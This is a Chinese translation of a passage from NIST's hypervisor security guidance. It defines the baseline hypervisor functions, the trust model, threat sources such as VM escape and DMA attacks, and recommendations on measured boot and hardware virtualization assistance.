尽管虚拟机监视器的基本功能是虚拟化硬件（物理宿主）以允许运行多个虚拟宿主（普遍称之为 VM），商业虚拟机监视器供应带有不同的特性集合。提供相同特性集合的模块在不同的产品供应中被起了不同的名称。因此，为了达到此文档的目的，有必要定义一组虚拟机监视器的基线特性，它们能够涵盖用于支持硬件虚拟化的全部功能。在某些实例中，只是为 VM 提供一组虚拟化资源的模块称为虚拟机管理器（VMM）。如果 VMM 同提供 OS 层级服务的模块，诸如 CPU 中的 VM 计划相结合，它们便称为虚拟机监视器。虚拟机监视器的这些特性或者功能包括：

HY-BF1：VM 进程隔离——提供 VM 执行计划，管理在 VM 中运行的应用程序进程，诸如 CPU 和内存管理，以及在 VM 中运行应用程序的过程中进行不同的处理器状态之间的上下文切换。为了保证 VM 进程隔离，来自支持直接内存访问（DMA）设备的内存访问需要受到虚拟机监视器的控制（例如通过输入输出内存管理单元（IOMMU））。然而，此功能被认为属于 HY-BF2，由于它属于设备调度。
HY-BF2：设备调度和访问控制——使设备对于 VM 可用（例如通过模拟、准虚拟化、透传或者自虚拟化的硬件设备），并且控制哪些 VM 被允许访问哪些设备（例如网卡（NIC），诸如 IDE 驱动器的存储设备等）。
HY-BF3：来自客户 VM 的命令的直接执行——某些来自客户 OS 的命令是由虚拟机监视器直接执行的，而非通过中断或者上下文切换而触发。此功能适用于那些实现了准虚拟化而非完全虚拟化的虚拟机监视器。
HY-BF4：VM 生命周期管理——包括 VM 镜像的创建和管理、VM 状态的控制（开始、暂停、停止）、VM 迁移、制作快照、VM 监视，以及策略的强制执行等全部功能。
HY-BF5：虚拟机监视器平台的管理——定义虚拟机监视器软件模块中的不同配置参数中的东西和设置值，包括适用于虚拟机监视器中的虚拟网络以及这些模块的更新和补丁的配置的东西和设置值。

关于这 5 种基线功能的简略描述足以指导此文档剩余部分的讨论。关于这些功能的详细讨论于附录 A 提供。

上述功能由不同的虚拟机监视器组件或者软件模块执行。在不同的虚拟机监视器产品之间，功能的分布方式存在一些次要差别。虚拟机监视器组件的这些功能以及这些组件的位置在总体的虚拟机监视器架构中的映射于下文的表格 1 中给出：

表 1：虚拟机监视器平台的基线功能

基线功能	组件（软件模块）	位置
VM 进程隔离（HY-BF1）	虚拟机监视器内核	OS 内核（带有内核模块）本身，或者安装在完整 OS（宿主 OS）上的组件
设备调度和访问控制（HY-BF2）	设备模拟器或者设备驱动程序	专用 VM（称为设备驱动程序 VM）内部，或者虚拟机监视器内核自身内部
来自客户 VM 的命令的直接执行（HY-BF3）	虚拟机监视器内核	仅适用于准虚拟化的虚拟机监视器，并且由此类虚拟机监视器中的超级调用接口来处理
VM 生命周期管理（HY-BF4）	管理守护进程	安装在虚拟机监视器内核之上，但是运行于低权限模式
虚拟机监视器平台的管理（HY-BF5）	一组具有 CLI（命令行界面）或者 GUI（图形用户界面）的工具	运行在虚拟机监视器内核之上的控制台或者 shell

一般来说，功能 HY-BF1 和 HY-BF3 由运行于内核中的共同称为“虚拟机监视器”的模块提供，而 HY-BF2 由运行于专用 VM（称为设备驱动程序 VM）或者虚拟机监视器内核自身之中软件模块启用。功能 HY-BF4 和 HY-BF5 由称为管理或者服务控制台的模块，或者通过内核模块执行。正如执行 HY-BF2 功能的模块那样，此控制台是一个软件层，它通常不是构建于虚拟机监视器内核之中，而是作为一个高权限 VM 运行于其上，并且可以由安装于其中的完整 OS 或者由用于为应用程序接口（API）（shell 和网络访问）提供实用程序功能的超轻量级 OS 构建，这些功能只是用于辅助执行虚拟机监视器特定的配置和管理任务。

1.2 此文档的范围

为服务器虚拟化而部署的虚拟机监视器的架构可以按照不同方式分类：

(a) 基于虚拟机监视器所安装于其上的实体——第 1 类虚拟机监视器和第 2 类虚拟机监视器（已描述）
(b) 基于虚拟化的类型
- 完全虚拟化——虚拟机监视器将真实世界中存在的硬件设备的接口暴露出来，并且该设备的驱动程序对于客户 OS 可用，并且虚拟机监视器将会完全模拟该设备的行为。这种模拟允许 VM 中运行的程序使用 VM OS 的驱动程序，此驱动程序被设计为同被模拟的设备进行交互，而无需安装任何由虚拟机监视器厂商指定的特定驱动程序或工具。
- 准虚拟化——虚拟机监视器将并不存在于真实世界中的设备暴露出来，它只是软件，并且带有轻量级的接口。然而，此种场景要求 VM 中具有特定的驱动程序，有时要求对客户 OS 进行修改。这种方式的本意是提升 VM 中运行的应用程序的性能水平，相对于完全虚拟化所采用的模拟方式而言。

此文档中所描述的虚拟机监视器平台所假设的信任模型如下所述：

VM 中的所有组件均为不可信，包括客户 OS 及其运行于内核空间的相关实用工具（例如客户设备驱动程序）以及运行于用户空间的所有应用程序
虚拟机监视器平台内部实现的设备驱动程序不可信，除非它们带有安全证书
用于在 VM 之间提供隔离的虚拟机监视器内核组件可信
宿主 OS 对于第 2 类虚拟机监视器可信
虚拟机监视器宿主的硬件可信

有了关于虚拟机监视器架构的背景信息，以及假设的信任模型以后，对于 5 种基线功能（HY-BF1～HY-BF5）的安全性建议的范围涵盖下列方面：

与功能 HY-BF1、HY-BF2 和 HY-BF4 相关联的所有任务
HY-BF3 与准虚拟化的虚拟机监视器的超级调用的处理相关联，它是虚拟机监视器的可信功能，并且并未包含于安全性建议中
HY-BF5 之下的所有任务都被包括进来，除了与虚拟网络的定义和配置相关联的内容（虚拟网络的安全配置由另一篇 NIST 文档 SP800-125B 所涵盖）

同时提供了用于保证整体平台完整性的建议。

安全性建议并未涵盖下列内容：

虚拟机监视器宿主的用户帐户管理
虚拟机监视器宿主的认证和访问控制
宿主 OS 的程式化管理（例如保持补丁为最新）
客户 OS 的程式化管理
运行于 VM 上的客户 OS 的安全性
运行于 VM 上的应用程序/服务的安全性

1.3 目标受众

此文档中的安全性建议的目标受众如下：

想要开发虚拟化基础设施以便在虚拟机（VM）上托管不同的业务（LOB）应用程序系统的私人企业或者政府机构的企业 IT 部门的首席安全官（CSO）或者首席技术官（CTO）
想要提供虚拟化基础设施以便为云服务客户托管安全的云服务，诸如基础设施即服务（IaaS）的数据中心管理者

1.4 与其他 NIST 指南文档的关系

就技术领域而言，与此文档相关联的 NIST 指南文档是 NIST 特别出版（SP）800-125，完全虚拟化技术安全性指南。与当时的技术发展状态相一致（SP800-125 发布于 2011 年一月），SP800-125 为两种虚拟化应用范型：服务器虚拟化和桌面虚拟化中的组件应用提供了高级安全性建议。此后，服务器虚拟化在 IT 数据中心领域得到了广泛应用，既用于托管机构内部或者预先定制（企业）的应用程序，也用于为云服务托管应用程序以及提供计算单元。

伴随这一技术应用趋势而来的是虚拟机监视器的特性集合，以及用于配置和管理由虚拟机监视器衍生出来的虚拟化的基础设施的工具集合的市场可获得性的增加。此文档的目标是专注于一组用于虚拟机监视器（及其所有构成组件）的部署，包括 VM 的创建和供货所涉及的步骤的安全性建议的开发。此文档在类似的 NIST 指南文档的上下文环境中所提供的这组安全性建议的独特特性列于下方：

提供了一组目标明确的安全性建议，它们对于虚拟机监视器的部署是架构不可知的
由于真实世界中的部署过程包括 VM 供货，因此所有 VM 生命周期操作都被涵盖，从 VM 镜像的创建和管理到它们的使用粒度权限的管理
由于认识到虚拟机监视器是一种基于目的构建的操作系统（OS）内核，以及服务器 OS 的安全性取决于它的最弱一环这两点，无论其发行版（例如驱动程序软件），此文档也提供了与这些组件相关联的安全性建议
由于认识到虚拟机监视器会执行特定的高权限操作，而不会受到来自虚拟化的宿主中的任何其他实体的干涉，以及为这些操作撬动硬件支持将会为虚拟机监视器的部署的整体安全性带来显著差异这两点，这些安全性建议也会提升性能，如果虚拟化特定的功能（例如多个 VM 的内存表）被卸载（撬动）到处理器而非通过软件功能实现
所有安全性建议的本意是提供担保以对抗那些针对虚拟机监视器的基线功能所涉及的任务的威胁的利用

第 2 章开发安全性建议的方式

开发针对诸如虚拟机监视器的复杂软件的部署和使用的安全性建议需要对于潜在威胁的了解，这些威胁一旦被利用，将会影响虚拟机监视器功能的机密性、完整性和可用性这 3 种安全属性。此文档中用于开发针对虚拟机监视器的部署的安全性建议的方式如下所述：

保证虚拟机监视器平台的所有组件的完整性，从宿主的基本输入/输出系统（BIOS）到虚拟机监视器的所有软件模块。这可以通过第 3 章作为 HY-SR1 而列出的安全启动过程来实现
识别典型虚拟机监视器平台中的威胁来源。简要讨论了来自恶意或者受到攻击的 VM 的威胁的本质（2.1 节）
对于 5 种基线功能 HY-BF1～HY-BF5 中的每一种（除了 HY-BF3，由虚拟机监视器执行高权限操作以外），识别每一种功能之下的不同任务，并且对于每一种任务，识别对于该任务的安全执行的潜在威胁。那些能够提供担保以对抗这些威胁的利用的反制措施构成了安全性建议的基础（2.2 节）

必须注意到的是，在某些大型开源和商业软件环境的案例中（例如数据库管理系统（DBMS）平台），用于安全部署和使用的方式是研究发布于公开漏洞数据库中的关于不同产品供应的报告，通过在线公开论坛或者软件厂商查找可用的补丁，并且查找建议的安全配置设置（同样通过在线公开论坛或者软件厂商的网站）。我们并未在此文档中采用此方式，由于此文档本意中的目的并非为某个特定的开源或者商业虚拟机监视器产品供应提供安全性建议，而是为整个产品类型基于其基线功能提供安全性建议。

2.1 虚拟机监视器平台的威胁来源

虚拟机监视器软件驻留在连接到企业网络的物理宿主上，它拥有被远程管理的能力。与此同时，它支持多个通常是该物理宿主内部的软件定义的虚拟网络结点的虚拟宿主（虚拟机或者 VM）。在某些情况下，它们可以是隔离网络的结点或者共享宿主网络。基于这一场景，某人可以识别针对虚拟机监视器平台的 3 种基本威胁来源，每一种均由符号 HY-TS# 标识：

HY-TS1：来自或者通过虚拟机监视器（虚拟化的宿主）所驻留于其中的企业网络的威胁
HY-TS2：通过诸如共享虚拟机监视器内存以及虚拟机监视器宿主内部的虚拟网络等信道，产生自恶意或者受到攻击的 VM 的威胁
HY-TS3：来自网络接口，面向 VM 管理守护进程和虚拟机监视器管理控制台的威胁

来自来源 HY-TS1 和 HY-TS3 的威胁普遍存在于所有服务器级别的软件，并且在其他 NIST 文档中被良好地认识和应对。而来自来源 HY-TS2 的威胁是由虚拟机监视器所定义的虚拟化环境所特有的。我们将会在下一节中审视来自 HY-TS2 的威胁的本质。

虚拟机监视器控制着 VM 对物理硬件资源的访问，并且在 VM 之间提供隔离。VM 对诸如 CPU 和内存的硬件资源的访问由虚拟机监视器直接控制，而对于诸如网络和存储设备等资源的访问则是通过驻留于内核模块或者高权限 VM（即管理 VM）中的模块（驱动程序）来控制的。VM 之间的网络隔离是通过为每个 VM 指认一个独特的网际协议（IP）或者介质访问控制（MAC）地址、定义虚拟局域网（VLAN）或者覆盖网络并且为每个 VM 指认适当的网络标识符的方式来提供。来自恶意或者受到攻击的 VM 的威胁的本质可以通过以下方式来表明：

注意，每一种威胁由符号 HYP-T# 来进行标识，其中 HYP 表示虚拟机监视器，T 表示威胁，# 表示序号。

进程隔离突破——VM 逃逸（HYP-T1）：来自恶意 VM 的针对任何虚拟机监视器的主要威胁。恶意 VM 成功地破坏了由 VMM/虚拟机监视器提供的对于诸如内存页和存储设备等硬件资源的隔离功能。换言之，恶意或者受到攻击的 VM 可以访问属于虚拟机监视器或者其他 VM 的内存区域，以及它们未被授权访问的存储设备。此类威胁的可能原因包括：(a) 虚拟机监视器的设计漏洞，或者 (b) 恶意或者易受攻击的设备驱动程序。由恶意 VM 获得虚拟机监视器的控制权带来的潜在下游影响包括安装 rootkit 或者对于同一虚拟化的宿主上的其他 VM 的攻击
网络隔离突破（HYP-T2）：针对隔离的潜在威胁包括诸如由恶意 VM 进行的 IP 或者 MAC 地址伪造以及流量窥探，或者旨在针对同一虚拟网段上的 VM 的虚拟网络流量的拦截等攻击。对这些网络控制的破坏所造成的影响是机密性的丧失。某些 VM 将会能够查看它们并未被授权查看的信息
拒绝服务（HYP-T3）：配置不当的或者恶意 VM 可能会消耗不成比例的高百分比的宿主资源，导致对于该虚拟机监视器宿主上的其他 VM 的拒绝服务

2.2 针对虚拟机监视器的基线功能的潜在威胁

本节检查了虚拟机监视器的 5 种基线功能（除了 HY-BF3 以外）中的每一种的每一项任务，并且对于针对这些任务的安全执行的威胁通过与上一节中标识出的原因进行关联以加以分析。

2.2.1 针对 HY-BF1 的潜在威胁

针对虚拟机监视器的 HY-BF1 功能（VM 进程隔离）的主要威胁是进程隔离突破（HYP-T1）。如 2.1 节所述，造成此威胁的原因之一是虚拟机监视器的设计漏洞。适用于此威胁的某些潜在设计漏洞在这里加以讨论，并且带有对于它们所可能表现出来的上下文环境的解释。每一种漏洞以符号 HYP-DV# 标识，其中 HYP 表示虚拟机监视器，DV 表示设计漏洞，# 表示编号。

虚拟机控制结构（HYP-DV1）：为了适当地计划某个独立 VM 的任务（即由于每个客户 VM 被分配给一组虚拟 CPU（vCPU），它们称为 vCPU 任务），寄存器状态必须被适当地处理。为了允许保存和加载每个 vCPU 的状态，虚拟机监视器使用一种称为虚拟机控制结构（VMCS）的数据结构。对此数据结构的错误实现已知能够导致虚拟机监视器内存泄漏
处理敏感指令（HYP-DV2）：在不提供虚拟化辅助的硬件平台上，应该有一种软件机制以发现敏感或者关键指令，将其发送至 VMM（虚拟机监视器），并且在硬件执行它们之前，利用诸如二进制翻译等技术将其替换为较为安全的指令。未能捕获关键指令或者错误翻译中发生的任何错误都可能拥有其形式为客户 OS 被允许执行高权限指令的安全性启示
内存管理单元——MMU（HYP-DV3）：虚拟机监视器运行一种基于软件的内存管理单元（MMU），它为每个 VM 分配影子页表，由于客户 VM 不能被赋予对于基于硬件的 MMU 的直接访问权限，由于这可能会潜在地允许它们访问属于虚拟机监视器和其他共同托管的 VM （在某些情况下）的内存。然而，基于软件的 MMU 的错误实现可能导致任意地址空间的数据泄漏，诸如属于虚拟机监视器和共同托管的 VM 的内存段，因此导致内存隔离突破
输入/输出内存管理单元，IOMMU（HY-DV4）：虚拟机监视器撬动硬件输入/输出内存管理单元以对使用直接内存访问（DMA）的设备驱动程序和进程强制实施内存隔离。此特性构建于虚拟机监视器之中，并且利用固件开关在硬件中启用。如果未被启用，它可能导致一种漏洞，在此，DMA 可以潜在地被某一 VM 用作普通攻击向量，以覆盖由其他 VM 和进程使用的物理内存

其中，漏洞 HYP-DV1 和 DYP-DV2 应该通过适当地编写代码和测试这些模块来解决。因此，没有安全性保护措施可以被应用于部署和使用阶段。然而，内存侵犯漏洞 HYP-DV3 和 DMA 侵犯漏洞 HY-DV4 可以通过在这样的硬件平台上托管虚拟机监视器来解决，此硬件平台分别通过对于虚拟化警觉的硬件内存管理单元和通过 DMA 传输重映射进行 DMA 传输来提供内存虚拟化辅助。由于这 2 种漏洞，威胁 HYP-T1，进程隔离突破，将会在第 4 章通过安全性建议 HY-SR-2 得到解决。

进一步地，正确执行隔离要求每一个 VM 获取其所托管的应用程序所必需的适当的内存和 CPU 资源，并且不会发生拒绝服务。通过适当的内存分配选项配置来保证足够的内存这一点将会通过安全性建议 HY-SR-3 得到解决。而通过 vCPU 分配选项的适当配置来保证适当的虚拟 CPU 分配这一点将会通过安全性建议 HY-SR-4 和 HY-SR-5 得到解决。

2.2.2 针对 HY-BF2 的潜在威胁

在 VM 中执行的应用程序需要访问诸如网络和存储设备。对设备访问的调度在虚拟机监视器宿主中通过设备虚拟化（也称为 IO 虚拟化）来处理。有 3 种常见的设备虚拟化方式：(a) 模拟，(b) 准虚拟化，和 (c) 透传或者自虚拟化的硬件设备。

在模拟中，代码被如此实现以呈现某个虚拟设备，它拥有与之对应的真实（硬件）设备，客户 OS 已经拥有它的驱动程序。这允许运行未经修改的客户（VM），由此实现完全虚拟化。模拟代码运行于虚拟机监视器中。来自客户 VM 应用程序（通过其客户 OS）的 I/O 调用被虚拟机监视器内核拦截，并且转发到此代码，由于客户 VM 在此设置之下不能直接访问物理设备。这也可以将来自客户 VM 的模拟虚拟设备的访问多路传输至底层物理设备。

在准虚拟化方式中，虚拟机监视器向客户呈现某个人工设备的某个接口，此设备没有相应的硬件对应体。这允许在客户上安装特定的，简化的，对虚拟机监视器警觉的 I/O 驱动程序（称为准虚拟化的驱动程序）。来自客户 VM 中的这些准虚拟化的设备驱动程序的调用由另一个设备驱动程序（称为后端驱动程序）来处理，这些驱动程序直接与物理设备交互，并且调度来自准虚拟化的客户到该物理设备的访问。在某些实例中，来自准虚拟化的客户驱动程序的调用直接由虚拟机监视器通过其超级调用接口（与之相对应的调用称为超级调用）来处理。对于由这些超级调用产生的威胁的分析将于下一节提供。

设备虚拟化的第 3 种方式，透传方式（或者直接设备指认）被部署于这样的情形，在此，由于性能的原因，某个 VM 需要对于某个设备（例如 NIC、硬盘控制器、主机总线适配器（HBA）、USB 控制器、串口、火线控制器、声卡等）的专属访问，以避免由于模拟造成的开销。由于这对于外设组件互连标准（PCI）设备来说通常是必需的，它因此也称为 PCI 透传。由于这些设备中的很多拥有内存映射的接口，它们可以直接读取或者写入主内存，并且因此被称为具有直接内存访问（DMA）能力的设备。为了提供 VM 对于具有 DMA 能力的设备的专属访问，此设备的内存页被映射到客户 VM 的地址空间。随之而来的是由于具有 DMA 能力的设备而造成的威胁。

由于具有 DMA 能力的硬件设备而造成的威胁（HY-DV5）：来自具有 DMA 能力的设备的安全性威胁在于，由于 VM 控制该设备，它可以编程该设备以执行 DMA 操作，指向任意物理（宿主）内存位置，包括属于其他 VM 或者虚拟机监视器的区域 [6]。因此，此类直接设备指认具有破坏 VM 之间的隔离（因而使得由 MMU 强制实施的隔离功能（作为 HY-BF1 的一部分）失去意义）的潜力。

除了上述 3 种类型的设备虚拟化之外，虚拟机监视器宿主还可以支持自虚拟化的硬件设备。这些设备拥有能够导出对应于某种物理功能（PF）的一组虚拟功能（VF）的接口。虚拟机监视器可以随后将这些 VF 指认给多个客户 VM，而它仍然保持对 PF 的控制。这些设备遵守单根 I/O 虚拟化（SR-IOV）规范，并且由此允许具有 DMA 能力的设备在 VM 之间共享（如同虚拟化和多路传输是由这些设备自身实现的）而非如同在透传模式中那样由单一 VM 专用。

2.2.3 针对 HY-BF3 的潜在威胁

上一节呈现了这样一种场景，即准虚拟化，在此，虚拟机监视器必须通过其超级调用接口执行特定指令。关于超级调用的一个潜在的安全性问题在于，缺少对于特定操作的适当的验证（例如，不会验证操作范围，并且因此允许对于 VM 的虚拟机控制块进行完整转储），可能潜在地导致整个虚拟机监视器宿主崩溃。这也是一种设计漏洞，必须通过适当的验证和对相关的虚拟机监视器代码进行测试，而非通过配置或者部署过程来解决。

2.2.4 针对 HY-BF4 的潜在威胁

对于此功能（即 VM 生命周期管理）之下的任务的安全执行的潜在威胁包括：

非标准 VM 镜像在库中的存在，包括那些具有过时的 OS 和补丁的镜像，这可能导致任何平台层级的威胁（HYP-T1～HYP-T3）
运行着的非标准 VM 实例的存在，由于其基于非标准镜像的创建、从快照恢复、由于监视中的疏忽而导致的对于标准的偏离，以及可能导致任何平台层级的威胁（HYP-T1～HYP-T3）的更新

在大多数实例中，对于 VM 的管理操作是利用通过 GUI 或者脚本环境提交的命令来执行的，二者均由位于后端的管理守护进程支持。上述操作的安全执行通过第 6 章的安全性建议 HY-SR9～HY-SR18 来解决。

2.2.5 针对 HY-BF5 的潜在威胁

此功能之下的任务与虚拟机监视器宿主（即虚拟化的宿主）和虚拟机监视器软件的整体管理相关联，并且通常是通过对用户友好的网页界面或者面向网络的虚拟控制台来执行的。针对这些任务的安全执行的威胁常见于任何远程管理，并且因此并未在此文档中解决。然而，具有虚拟化的宿主的数据中心中的核心要求是拥有对于虚拟机监视器的基于不同判据的统一配置，诸如基于一组托管的 VM 的应用程序的敏感度、业务线，或者云服务环境中的客户端等。因此，这些安全性建议包括一种对于虚拟机监视器配置的中心化管理（HY-SR-19）和一种用于管理流量的专用网段（HY-SR-20）。

某些传统的安全性修补方式对于托管虚拟机监视器的宿主而言可能并不可行。例如，对于针对未被虚拟化的物理服务器的网络攻击，只要关闭发动攻击的端口即可成为阻止该服务器利用机器人攻击向网络发送垃圾信息的解决方案。然而，这样的解决方案对于虚拟机监视器宿主来说并不可行，由于虚拟机监视器宿主的物理网卡的相同端口可能由若干运行着的 VM 所共享。因此，一种特殊的安全性修复，诸如禁用使用这些端口的 VM 的虚拟 NIC 是必需的。

第 3 章针对整体平台完整性的安全性建议

配置更改、模块版本变化，以及补丁将会影响虚拟机监视器平台组件的内容，诸如 BIOS、虚拟机监视器内核，以及运行于内核中的后端设备驱动程序。为了保证作为虚拟机监视器栈的组成部分的这些组件中的每一个都可信，有必要通过某种能够提供启动完整性的担保的，植根于硬件的证明机制来检测它们的完整性。完整性检测是通过以密码学的方式来认证所启动的虚拟机监视器组件来实现的。这种认证方式验证只有授权的代码可以在系统上运行。具体地，在虚拟机监视器的上下文环境中，这种完整性证明可以防止破坏以及诸如 rootkit 的低级目标性攻击。如果此完整性证明被推迟到某个具有可信权力的作用的可信第三方，此验证过程被称为 可信证明。可信证明提供对于此虚拟机监视器组件的代码未被破坏的证明。在此方式中，对于虚拟机监视器组件的信任是建立在可信硬件的基础之上的。换言之，一条从硬件到虚拟机监视器的信任链是建立在称为 可信根 的首个组件之上的。此服务可以由支持启动完整性测定和证明过程的虚拟机监视器宿主的硬件/固件基础设施来提供。简言之，测定启动环境（MLE）是虚拟机监视器宿主所必需的。

某些硬件平台利用用于测定启动序列中的组件的完整性（通常是二进制代码的散列值）的固件例程来提供对于 MLE 的支持。实施了测定启动过程的基于硬件的密码学存储模块的一个范例是基于标准的可信平台模块（TPM），它已经由可信计算小组（TCG）标准化 [4]。TPM 的 3 个主要组件包括：(a) 测定可信根（RTM）——进行完整性测定（通常是密码学散列值）并且将其转换为证明，(b) 完整性可信根（RTI）——提供受保护的存储、完整性保护，以及受保护的接口以存储和管理证明，以及 (c) 报告可信根（RTR）——提供受保护的环境和接口以管理身份并且签名证明。RTM 沿着启动序列测定下一段代码。此测定结果被存储在称为平台配置寄存器（PCR）的特定寄存器中。

在此，以 TPM 为例简单解释测定启动过程。测定启动过程始于在 BIOS 中执行一段可信的不可变代码，它同样会测定将要执行的下一段代码。在将控制权移交给序列中的下一个程序之前，此测定结果被扩展到 TPM 中的 PCR。由于序列中的每一个组件在移交控制权之前依次测定下一个组件，一条信任链被建立起来。如果测定链持续贯穿整个启动序列，则由此产生的 PCR 值反映了所有组件的测定结果。

证明过程始于请求者调用，通过宿主上的代理，TPM 引用命令。它指定一个证明识别密钥（AIK）以执行对于一组 PCR 的内容的数字签名，该组 PCR 包括启动序列中的所有欲引用的组件的测定结果，以及一个密码学临时随机数以保证数字签名的新鲜度。在接收到签名的引用之后，请求者验证签名并且通过比较 TPM 引用中的测定结果和已知良好的测定结果来决定是否信任所启动的组件。

MLE 可以以如下方式整合到虚拟机监视器宿主中：

托管虚拟机监视器的硬件被建立为可信根，一条始于硬件贯穿 BIOS 直到所有虚拟机监视器组件的信任链被建立起来
对于想要被建立为可信根并且构建信任链的由处理器和芯片组构成的硬件，它应该拥有支持 MLE 的基于硬件的模块。在支持 MLE 的硬件中启动虚拟机监视器的结果是固件、BIOS，以及虚拟机监视器（内核）模块的全部或者某个关键子集的测定启动，因此构成了从硬件到虚拟机监视器的信任链
虚拟机监视器供应必须能够利用 MLE 特性。换言之，虚拟机监视器应该能够调用安全启动过程，这通常是通过向虚拟机监视器的代码库中整合一个前内核模块来实现的，由于内核是在虚拟机监视器启动过程中首个被安装的模块。这个前内核模块的目的是保证选择硬件中的正确的经过认证的模块，该模块对虚拟机监视器中启动的组件或者该硬件上启动的任何软件执行有序的评估或者测定。Tboot 是这样的机制的一个范例，它允许虚拟机监视器利用硬件的 MLE 特性
想要成为可信计算基（TCB）的一部分的所有虚拟机监视器组件必须被包括在启用 MLE 机制的范围内，以使得它们作为其启动过程的一部分而被测定

可以撬动虚拟化的宿主的硬件上的带有存储和报告机制的 MLE 特性以提供虚拟机监视器组件的启动完整性担保，通过测定启动序列中的所有实体的身份，从固件开始，然后是 BIOS、虚拟机监视器，以及虚拟机监视器模块，将其与“已知良好值”进行比较；并且报告任何不相符之处。如果该测定启动过程将要被延伸以覆盖 VM 及其内容（客户 OS 和应用程序），在虚拟机监视器内核中的对于基于硬件的 MLE 实现的基于软件的扩展是必需的。现在，对于保证虚拟机监视器平台的所有组件的安全启动过程的安全性建议可以叙述如下：

安全性建议 HY-SR-1：所启动的虚拟机监视器应该成为平台以及整体基础设施的一部分，它包括：(a) 具有基于标准的密码学测定能力和存储设备的支持 MLE 的硬件，以及 (b) 具有提供一条从硬件开始直到所有虚拟机监视器组件的信任链的能力的证明过程。更进一步地，被测定的元素至少应该包括核心内核、内核支持模块、设备驱动程序，以及虚拟机监视器的用于 VM 生命周期管理和虚拟机监视器管理的原生管理应用程序。信任链应该为所有被测定的组件未被破坏并且它们的版本正确（即整体启动完整性）提供担保。如果信任链将要被延伸至客户 VM，虚拟机监视器应该提供一个虚拟接口到基于硬件的 MLE。

第 4 章 HY-BF1 安全性建议

为了保证 VM 中运行的进程的隔离，下列要求必须被满足：

(a) 从客户 OS 到宿主处理器的高权限命令或者指令必须被调度，以使得 VMM/虚拟机监视器作为虚拟化资源控制器的基本功能得以维持
(b) 虚拟机监视器宿主的内存管理功能的完整性必须被保护，以防止诸如缓冲区溢出以及非法代码执行等攻击，特别是在存在管理多个 VM 的内存访问所必需的翻译表的情况下
(c) 内存分配算法必须保证所有 VM 中的负载都能够执行它们的功能
(d) CPU 分配算法必须保证所有 VM 中的负载都能够执行它们的功能

要求 (a) 和 (b) 可以利用基于软件的模块来满足。然而，相对于基于软件的解决方案，诸如指令集虚拟化和内存虚拟化等基于硬件的虚拟化辅助对于满足这些要求能够提供更多的担保，因而在 4.1 节中被推荐。在表述推荐之前，先简要地讨论一下基于硬件地虚拟化特性。要求 (c) 和 (d) 本意是要保证 VM 中运行的应用程序服务的可用性。用于提供这些保障的是内存分配和 CPU 分配算法中的某些特性，并且与之相关联的配置参数分别在 4.2 和 4.3 节中被表述为推荐。

4.1 硬件虚拟化辅助

指令集虚拟化：用于支持指令集虚拟化的处理器架构提供两种操作模式：root 模式和非 root 模式，每一种都有 4 个层级的权限等级，其中 0 级为最高而 3 级为最低。此外，在这两种模式中，对于执行 CPU 指令，root 模式比非 root 模式具有更高权限。通过在 root 模式中运行虚拟机监视器，并且在高权限或者 0 环的非 root 模式中运行 VM（客户）OS，虚拟机监视器的安全得以保证，至少是通过防止来自任意客户 OS 的任何指令集类型的攻击。然而，VM 逃逸可能通过正常的网络协议而发生。此安全性是通过允许硬件捕获高权限指令以在非 root 模式中运行而在 root 模式中执行而得到保证的。此外，如果虚拟机监视器不必须执行额外的功能（例如利用诸如二进制翻译等技术翻译敏感指令），在虚拟机监视器中以高权限执行的代码将会减少，使得 TCB 更小，并且允许更好的担保验证。

内存虚拟化：如果硬件允许利用基于硬件的页表而非由虚拟机监视器生成的影子页表将客户 OS 在其对应页表中的物理地址映射到宿主的物理地址，则称提供了硬件辅助的内存虚拟化。由此引起的用于执行此功能的高权限代码的减少可以提供相当于上述指令集虚拟化部分所提到的安全性优势。

硬件辅助的虚拟化平台的安全性优势包括以下方面：

虚拟机监视器的潜在安全漏洞之一是来自驻留于虚拟化的宿主平台上的 VM 的缓冲区溢出攻击。作为硬件辅助虚拟化的一部分的内存管理（例如扩展页表，PET）的硬件支持可以被撬动以防止来自保留给数据存储的内存位置的代码执行，因此阻止缓冲区溢出攻击
虚拟化的硬件扩展提供了两种执行模式：宿主或者 root 模式，以及客户或者非 root 模式。宿主模式运行在高于客户模式的权限等级上。提供基线功能 HY-BF1（处理器分配和内存管理）的虚拟机监视器代码运行于宿主模式而 VM 中的客户 OS 和应用程序运行于客户模式。因此客户 OS 中的任何漏洞利用代码不能破坏由虚拟机监视器代码提供的控制
虚拟化平台中的一种常见威胁涉及能够访问属于其他 VM 的内存区域的恶意 VM。这称为 VM 逃逸攻击。具有 IOMMU 的硬件平台提供了针对这种威胁的安全性，通过诸如直接内存访问（DMA）重映射等特性，这将被允许的 DMA 访问限制在指定的保护域中（即阻止设备执行超出其分配区域的 DMA）
为两种形式的虚拟化提供硬件辅助的优势在于，虚拟机监视器中的模拟模块可以呈现物理宿主的真实硬件架构而非修改过的硬件架构。这一特性的结果是，未经修改的客户 OS 及其原生设备驱动程序可以运行在 VM 中。启用这一特性的安全性启示是，可用于客户 OS 的 CVE 数据，以及可用于每一种 OS 版本的补丁版本以及认证的设备驱动程序的数量都会显著增加

安全性建议 HY-SR-2：虚拟化的宿主的硬件应该利用 MMU 对指令集虚拟化和内存管理提供辅助，由于硬件支持提供了下列安全性担保，而这些是完全基于软件的虚拟化所不能保证的：

更佳的内存管理控制可以防止诸如缓冲区溢出等攻击
IOMMU 中的 DMA 传输重映射特性提供更佳的 I/O 设备隔离。更进一步地，直接将 I/O 设备指认给某个特定 VM 并且允许直接访问这些资源这一特性消除了为该 VM 提供模拟设备驱动程序的需求，因此减少了可信代码的大小
客户 OS 代码和虚拟机监视器代码执行于不同的处理器模式，提供了更佳的隔离
权限层级的隔离可以为设备访问调度功能提供更佳的保护，并且硬件层级的内存保护可以提供更佳的 VM 层级保护
通过支持完全虚拟化，COTS 版本的 OS 可以允许更简单的补丁和更新，而非必须对可以运行于准虚拟化平台的唯一类型的修改或者移植版本的 OS 进行相同操作
由于现在众多虚拟化特性在硬件中可用，虚拟机监视器代码将会变小，允许更佳的安全性证明和验证

4.2 VM 内存分配计划选项

